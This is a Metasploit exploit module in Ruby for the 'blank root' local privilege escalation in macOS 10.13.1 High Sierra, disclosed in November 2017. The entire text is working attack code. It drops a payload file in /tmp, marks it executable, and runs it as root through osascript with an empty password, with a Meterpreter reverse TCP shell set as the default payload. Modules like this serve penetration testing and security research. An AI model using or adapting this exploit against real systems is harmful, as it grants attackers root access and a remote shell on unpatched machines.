Apple macOS 10.13.1 (High Sierra) – ‘Blank Root’ Local Privilege Escalation (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Mac OS X Root Privilege Escalation', 'Description' => %q{ This module exploits a serious flaw in MacOSX High Sierra. Any user can login with user "root", leaving an empty password. }, 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://twitter.com/lemiorhan/status/935578694541770752' ], [ 'URL', 'https://news.ycombinator.com/item?id=15800676' ], [ 'URL', 'https://forums.developer.apple.com/thread/79235' ], ], 'Platform' => 'osx', 'Arch' => ARCH_X64, 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp', }, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Mac OS X 10.13.1 High Sierra x64 (Native Payload)', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 29 2017' )) end def exploit_cmd(root_payload) "osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'" end def exploit payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" print_status("Writing payload file as '#{payload_file}'") write_file(payload_file, payload.raw) register_file_for_cleanup(payload_file) output = cmd_exec("chmod +x #{payload_file}") print_status("Executing payload file as '#{payload_file}'") cmd_exec(exploit_cmd(payload_file)) end end |